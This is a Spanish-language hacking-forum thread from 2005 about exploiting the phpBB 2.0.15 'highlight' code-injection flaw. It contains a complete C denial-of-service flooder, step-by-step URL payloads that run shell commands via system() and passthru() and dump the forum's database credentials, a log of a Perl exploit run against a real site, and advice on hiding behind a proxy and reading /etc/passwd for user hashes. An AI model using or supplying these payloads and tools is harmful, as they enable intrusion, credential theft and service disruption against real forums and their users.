elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 11:50  


Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Exploit phpbb 2.0.15
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Exploit phpbb 2.0.15  (Leído 5,105 veces)
/* strcpy() */


Desconectado Desconectado

Mensajes: 367


FLEMA - The Ramones - Sex Pistols


Ver Perfil WWW
Re: Exploit phpbb 2.0.15
« Respuesta #15 en: 8 Julio 2005, 20:05 »

Algo asi es lo que se busca???
Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#else
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif

#define __USE_GNU
#define _XOPEN_SOURCE

int Connection(char *, int);
void Write_In(int , char *, char *a, char *, int);
char Use(char *);

int main(int argc, char *argv[])
{
    int sock, x = 0;
    char *Path = argv[1], *Pro_Sea = argv[2], *Host = argv[3];

    puts("[+] NsT-phpBBDoS v0.1 by HaCkZaTaN");
    puts("[+] NeoSecurityTeam");
    puts("[+] Dos has begun....[+]\n");
    fflush(stdout);

    if(argc != 4) Use(argv[0]);

    while(1)
    {
           sock = Connection(Host,80);
           Write_In(sock, Path, Pro_Sea, Host, x);
           #ifndef WIN32
           shutdown(sock, SHUT_WR);
           close(sock);
           #else
           closesocket(sock);
           WSACleanup();
           #endif
           Pro_Sea = argv[2];
           x++;
    }
    //I don't think that it will get here =)

    return 0;
}

int Connection(char *Host, int Port)
{
        #ifndef WIN32
        #define SOCKET int
        #else
        int error;
        WSADATA wsadata;
        error = WSAStartup(MAKEWORD(2, 2), &wsadata);

        if (error == SOCKET_ERROR)
        {
                  perror("Could Not Start Up Winsock!\n");
                  return;
        }

        #endif

        SOCKET sockfd;
        struct sockaddr_in sin;
        struct in_addr  *myaddr;
        struct hostent *h;
       
        if(Port <= 0 || Port > 65535)
         {
                  puts("[-] Invalid Port Number\n");
                  fflush(stdout);
                  exit(-1);
         }
       
        if((sockfd =  socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
        {
                    perror("socket() ");
                    fflush (stdout);
                    exit(-1);
        }

        if(isalpha(Host[0]))
        {
           if((h = gethostbyname(Host)) == NULL)
           {
                     perror("gethostbyname() ");
                     fflush (stdout);
                     exit(-1);
           }
        }
        else
        {
              myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
              myaddr->s_addr=inet_addr(Host);
             
              if((h = gethostbyaddr((char *) &myaddr, sizeof(myaddr), AF_INET)) != NULL)
              {
                     perror("gethostbyaddr() ");
                     fflush (stdout);
                     exit(-1);
              }
        }

        memset(&sin, 0, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_port = htons(Port);
        memcpy(&sin.sin_addr.s_addr, h->h_addr_list[0], h->h_length);

        if(connect(sockfd, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) < 0)
        {
                     perror("connect() ");
                     exit (-1);
        }

        return sockfd;
}

void Write_In(int sock, char *Path, char *Pro_Sea, char *Host, int x)
{
    char *str1 = (char *)malloc(4*BUFSIZ), *str2 = (char *)malloc(4*BUFSIZ);
    char *req0 = "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\r\n"
                 "Accept: */*\r\n"
                 "Accept-Language: en-us\r\n"
                 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
                 "Accept encoding: gzip,deflate\r\n"
                 "Keep-Alive: 300\r\n"
                 "Proxy-Connection: keep-alive\r\n"
                 "Content-Type: application/x-www-form-urlencoded\r\n"
                 "Cache-Control: no-cache\r\n"
                 "Pragma: no-cache\r\n";
    char *Profile = "%40neosecurityteam.net&new_password=0123456&password_confirm=0123456&icq=&aim=&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=1&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit\r\n";
    char *Search  = "&search_terms=any&search_author=*&search_forum=-1&search_time=0&search_fields=all&search_cat=-1&sort_by=0&sort_dir=DESC&show_results=topics&return_chars=200\r\n";

    if(strcmp("profile.php", Pro_Sea) == 0) sprintf(str1, "username=NsT__%d&email=NsT__%d%s", x, x, Profile);
    else if(strcmp("search.php", Pro_Sea) == 0)
    {
               Pro_Sea = "search.php?mode=results";
               sprintf(str1, "search_keywords=Hack%d%s", x, Search);
    }
    else
    {
               puts("Sorry. Try making the right choice");
               exit(-1);
    }

    sprintf(str2, "POST %s%s HTTP/1.1\r\n"
                  "Host: %s\r\n"
                  "Referer: http://%s/\r\n%s"
                  "Content-Length: %d\r\n\r\n%s", Path, Pro_Sea, Host, Host, req0, strlen(str1), str1);
         
    write(sock, str2, strlen(str2));
    write(1, ".", 1);
    fflush(stdout);
}

char Use(char *program)
{
fprintf(stderr,"[*] Use: %s <path> <search.php or profile.php> <Host>\n", program);
fprintf(stderr,"[*] Example: %s /phpBB/ profile.php Victimshost.com\n", program);
fflush(stdout);
exit(-1);
En línea

Sigo asi
Soy feliz
yo elegí
Sexo, Drogas y PunkRock
TaU

Desconectado Desconectado

Mensajes: 184



Ver Perfil
Re: Exploit phpbb 2.0.15
« Respuesta #16 en: 16 Julio 2005, 02:13 »

Os pasteo lo mismo que acabo de poner en HxC, por si le sirve a alguien:

Ahora que ya han pasado varias semanas desde su publicacion y la mayoria de administradores minimamente responsables ya han parcheado sus foros, recupero este hilo para añadir la información que fui recopilando sobre esta vulnerabilidad y su explotación.

La verdad es que averiguar la explotación bastante facil, tan solo leyendose el advisory se ve que lo único que cambia es el filtrado de las comillas (slashes):

Citar
Change this: str_replace('\\', '\\\\', $highlight_match)

Into this: str_replace('\\', '\\\\', addslashes($highlight_match))

Fijándose en el mismo código php se ve que dichas comillas sirven para separar las strings del código, y que como dice tanto el advisory como eval la funcion preg_replace en este caso tiene el modificador de ejecucion activo. Por lo tanto si se ponen unas comillas simples en esa variable y a continuacion se pone código php, dicho código será ejecutado por el servidor como si formara parte del mismo archivo viewtopic.php.

Sabiendo esto, podemos usar el comando system() para hacer que el propio servidor php ejecute comandos en el sistema operativo en el que se encuentra instalado.

Ejemplo:
Código:
http://foro.vulnera.ble/phpBB/viewtopic.php?p=1&highlight='.system(ls).'

Eso nos devolverá un listado del directorio actual en la maquina remota (para los windowseros, 'ls' es el equivalente a 'dir' en w$, de echo si pones 'dir' en linux tambien funciona :P). Fijaos en que deben ponerse puntos antes y despues del comando para separarlo correctame de los comandos anterior y posterior dentro del trozo de codigo vulnerable del php, y en que debe finalizarse tambien con comillas simples para que la ejecucion del archivo viewtopic.php continue sin problemas.

Tambien pueden encadenarse varios comandos y se ejecutarán todos sin problemas:
Código:
...&highlight='.system(ls).system(help).system(whoami).system(info).'

El problema surge cuando se intentan usar ordenes más complejas, con algun tipo de parámetro (como 'ls -l'), porque tanto los espacios, como las barras, parentesis, guiones etc... son filtrados en algun momento por el servidor e impiden el correcto funcionamiento del comando.

Por esto mismo inicié este hilo en el foro de linux, para intentar usar una manera alternativa de introducir cualquie carácter ascii de manera que pasara el filtro php y fuera interpretable por la consola de comandos.

Empecé a investigar sobre esto para encontrar alguna manera de solucionarlo y aqui sucedio algo bastante curioso. Urgando en el google di con una una página que listaba varios intentos de explotación de este mismo bug, se trataba de una especie de log de un addon de seguridad para phpBB llamado php Security mod. Todavia no tengo muy claro si se trata de un bug o no el que esa informacion esté abierta al público, porque se dan bastantes detalles sobre los ataques... Probad a buscar en el google lo siguiente y vereis a lo que me refiero: "inurl:phpBBSecurity=caught"

Aunque desafortunadamente no se ve la url completa del ataque, alcanza a verse que se usa el comando system() y dentro algo que empieza por chr. Buscando un poco de info sobre 'chr' di con la solucion al problema. En el manual de php como una funcion que devuelve el carater ascii que se le indica en el interior ( http://de.php.net/chr ).

Asi que ya estaba claro, usando system(chr(num1).chr(num2).etc...) podia formar cualquier cadena con cualquier simbolo, pasaria el filtro php y seria ejecutado en consola.

Ejemplo para "ls -l":
Código:
...&highlight='.system(chr(108).chr(115).chr(32).chr(45).chr(108)).'

Mientras iba investigando empezaron a salir varios exploits para este bug. La mayoria usaban este mismo método para pasarle los comandos a la web vulnerable, pero alguno usaba una técnica más interesante...

En concreto se trataba de este: http://planet.nana.co.il/sustar/2015.txt

El exploit simula una consola de comandos transformando automáticamente los comandos bash que le pones en urls que se aprovechen del bug y devolviendote la respuesta del servidor debidamente pulida. Está escrito en perl, del cual no tengo ni idea, pero al ser un lenguaje de muy alto nivel si no se trata de algo muy complicado no es dificil seguirle el hilo para ver lo que hace, y sobre todo cómo lo hace.

La parte interesante, la que monta la url, se encuentra aqui:
Código:
$path  = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&hack=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd; # ls -l = %6C%73%20%2D%6C
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%27%2e%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%68%61%63%6b%5d%29%2e%27';

El autor, en parte por necesidad y supongo que tambien en parte para ocultar aunque sea mínimamente el truquito usado, usa la codificación hexadecimal de los carácteres ascii en practicamente toda la url. Asi que para poder entender lo que está haciendo realmente primero hay que traducirlo. Yo usé un editor hex para hacerlo, pero es más fácil y rápido con webs como esta: http://nickciske.com/tools/hex.php

Una vez traducido queda algo asi:
Código:
$path  = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&hack=echo _START_;';
$path .= $cmd;
$path .= 'echo _END_';
$path .= '&highlight='.passthru($HTTP_GET_VARS[hack]).'';

Y una vez montado:
Código:
viewtopic.php?t=$topic&hack=echo _START_; $cmd; echo _END_&highlight='.passthru($HTTP_GET_VARS[hack]).'

Donde $topic es un numero de topic válido que le tenemos que indicar nosotros al exploit, y $cmd es el comando que queremos ejecutar.
Se ve que la táctica que usa es declarar una variable en la misma url (llamada "hack") y luego hacer referencia a esa misma variable dentro del comando que se ejecuta explotando el bug. De esta manera se puede introducir cualquier serie de carácteres ascii (con % mas indice ascii en hex) en esa variable previa y asi saltarse cualquier filtrado del php en la parte de ejecucion.

El "echo _START_; ... ; echo _END_" que añade al comando son solo para mejorar minimamente la estetica del resultado, asi que podemos prescindir de ellos y la funcion que usa, passthru(), segun el manual es equivalente a exec() o system().

Aplicando esa filosofía a nuestra querida orden system, y pasando "ls -l" a hex, nos quedaría algo asi:
Código:
&cmd=%6C%73%20%2D%6C&highlight='.system($HTTP_GET_VARS[cmd]).'

En los servidores php que tienen activado el modo seguro este tipo de ordenes (system, exec, passthru) no son ejecutadas, por lo tanto no son explotables por este tipo de exploits.

Pero eso no significa que estén a salvo... Poco despues salió otro exploit que no usaba estas ordenes y que en cambio consigue proporcionarnos en texto plano nada mas y nada menos que todos los datos sensibles de la base de datos del foro: nombre del host, nombre de la bd, nombre del usuario de acceso y pasword.

Este es el link al exploit: http://www.frsirt.com/exploits/20050704.phpbbSecureD.pl.php

Mirándo en su código y quitando cuestiones estéticas vemos que usa una peticion del siguiente estilo:
Código:
...&highlight='.printf($dbhost.$dbname.$dbuser.$dbpasswd).'

Esto devuelve los datos mencionados pero no los separa, de manera que es un poco dificil saber donde acaba exactamente por ejemplo el user y empieza la pasword. Asi que juntando lo aprendido del otro exploit con este cree una pequeña separación trivial de la siguiente manera:

Código:
&esp=%20%2D%20&highlight='.printf($dbhost.$HTTP_GET_VARS[esp].$dbname.$HTTP_GET_VARS[esp].$dbuser.$HTTP_GET_VARS[esp].$dbpasswd).'

Asi introduzco en una la variable "esp" un guion entre dos espacios, e intercalo una llamada a dicha variable entre las llamadas a los datos sensibles.


En fin, eso es todo lo que averigué al respecto, espero que os sea de utilidad.



Salu2
« Última modificación: 16 Julio 2005, 02:15 por TaU » En línea

"Si no se vive como se piensa, se acabará pensando como se vive", Pep Figueres
Revolucionario / Presidente de Costa Rica / Primer jefe de estado de la historia en abolir el ejército / Catalán.
www.wadalbertia.org  -<|¡^P
Thor


Desconectado Desconectado

Mensajes: 1.176


Ver Perfil
Re: Exploit phpbb 2.0.15
« Respuesta #17 en: 21 Julio 2005, 17:17 »

Lo acabo de leer y la verdad esta muy bien explicado.
Gracias.
En línea
parisnet

Desconectado Desconectado

Mensajes: 61


Ver Perfil WWW
Re: Exploit phpbb 2.0.15
« Respuesta #18 en: 21 Julio 2005, 20:49 »

Deberia funcionar insertando la URL especial, en cualquier explorador?

Porque intente con el primer ejemplo y me da error, y el foro es vulnerable al exploit en perl para sacar password, probe y tambien da error, y en el exploit si da los datos.

 ???
En línea

SeniorX


Desconectado Desconectado

Mensajes: 1.347


Programador Novato


Ver Perfil WWW
Re: Exploit phpbb 2.0.15
« Respuesta #19 en: 21 Julio 2005, 22:00 »

Que error exactamente? te da parisnet?
« Última modificación: 22 Julio 2005, 00:42 por SeniorX » En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
TaU

Desconectado Desconectado

Mensajes: 184



Ver Perfil
Re: Exploit phpbb 2.0.15
« Respuesta #20 en: 21 Julio 2005, 23:25 »

Gracias Thor. ;)

Parisnet, qué url pones exactamente y con qué exploit lo comparas?


Salu2
En línea

"Si no se vive como se piensa, se acabará pensando como se vive", Pep Figueres
Revolucionario / Presidente de Costa Rica / Primer jefe de estado de la historia en abolir el ejército / Catalán.
www.wadalbertia.org  -<|¡^P
SeniorX


Desconectado Desconectado

Mensajes: 1.347


Programador Novato


Ver Perfil WWW
Re: Exploit phpbb 2.0.15
« Respuesta #21 en: 22 Julio 2005, 00:58 »

[seniorx@localhost exploits]$ perl phpbb2_0_15.pl http://www.censuradocom/modules.php?name=Forums&file=viewtopic&t=1668
[2] 2911
[3] 2912
[seniorx@localhost exploits]$  - 80 -
phpBB2.0.15> mkdir Actulice

[2]+  Stopped                 perl phpbb2_0_15.pl http://www.censurado.com/modules.php?name=Forums
[3]   Done                    file=viewtopic
[seniorx@localhost exploits]$

Con eso se supone que ya lo exploté?
Luego de ejecutar un comando, en mi caso (estupidamente mkdir, pero es porque tengo fines educativos nada mas) porque se sale, y me devuelve mi shell.... solo un comando por explotacion que onda?

PD: El que quiera un foro vulnerable para hacer pendejadas que me mande un pm a cambio de que me enseñe algunos comandos, ya que aprendi a explotar pero me falta saber algunos comandos, aunque no los quiero ejecutar, solo quiero saber hacerlo.
« Última modificación: 22 Julio 2005, 01:03 por SeniorX » En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
TaU

Desconectado Desconectado

Mensajes: 184



Ver Perfil
Re: Exploit phpbb 2.0.15
« Respuesta #22 en: 22 Julio 2005, 09:09 »

Para ver si funciona es mejor que uses un comando que te devuelva algún tipo de información (como "ls").

De todas formas lo mejor es que mires código del exploit para saber qué está haciendo. No te limites a usarlos, intenta aprender de ellos, para eso están.

Salu2
En línea

"Si no se vive como se piensa, se acabará pensando como se vive", Pep Figueres
Revolucionario / Presidente de Costa Rica / Primer jefe de estado de la historia en abolir el ejército / Catalán.
www.wadalbertia.org  -<|¡^P
Trooper

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: Exploit phpbb 2.0.15
« Respuesta #23 en: 3 Septiembre 2005, 21:39 »

hola, soy nuevo, os leo hace tiempo y me he decidido a postear.

he ejecutado el archivo perl desde dos con el activeperl  y me aparece la "shell", pero mi temor es mantener el anonimato, hay alguna manera que pueda ejecutar el perl desde internet a traves de un proxy,  conseguir el proxy no es problema, tengo uno anónimo que funciona bastante bien. Otra opción sería utilizar un bouncer, pero no tengo control sobre otra máquina.

y ya puestos cuando me duelve la shell, que comandos puedo utilizar para tener el listado de usuarios y hash.

Gracias.

En línea
lirkuid

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Re: Exploit phpbb 2.0.15
« Respuesta #24 en: 3 Septiembre 2005, 22:18 »

hola, soy nuevo, os leo hace tiempo y me he decidido a postear.

he ejecutado el archivo perl desde dos con el activeperl y me aparece la "shell", pero mi temor es mantener el anonimato, hay alguna manera que pueda ejecutar el perl desde internet a traves de un proxy, conseguir el proxy no es problema, tengo uno anónimo que funciona bastante bien. Otra opción sería utilizar un bouncer, pero no tengo control sobre otra máquina.

y ya puestos cuando me duelve la shell, que comandos puedo utilizar para tener el listado de usuarios y hash.

Gracias.


Para mantener el anonimato utiliza el sockscapv este programa te permite pasar cualquier programa por un proxy (pasa tu cmd.exe por un proxy) y para tener un listado de usuarios vete al fichero etc/passwd y utiliza el comando "cat".
Espero te sirve la info
Saludos
En línea
Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines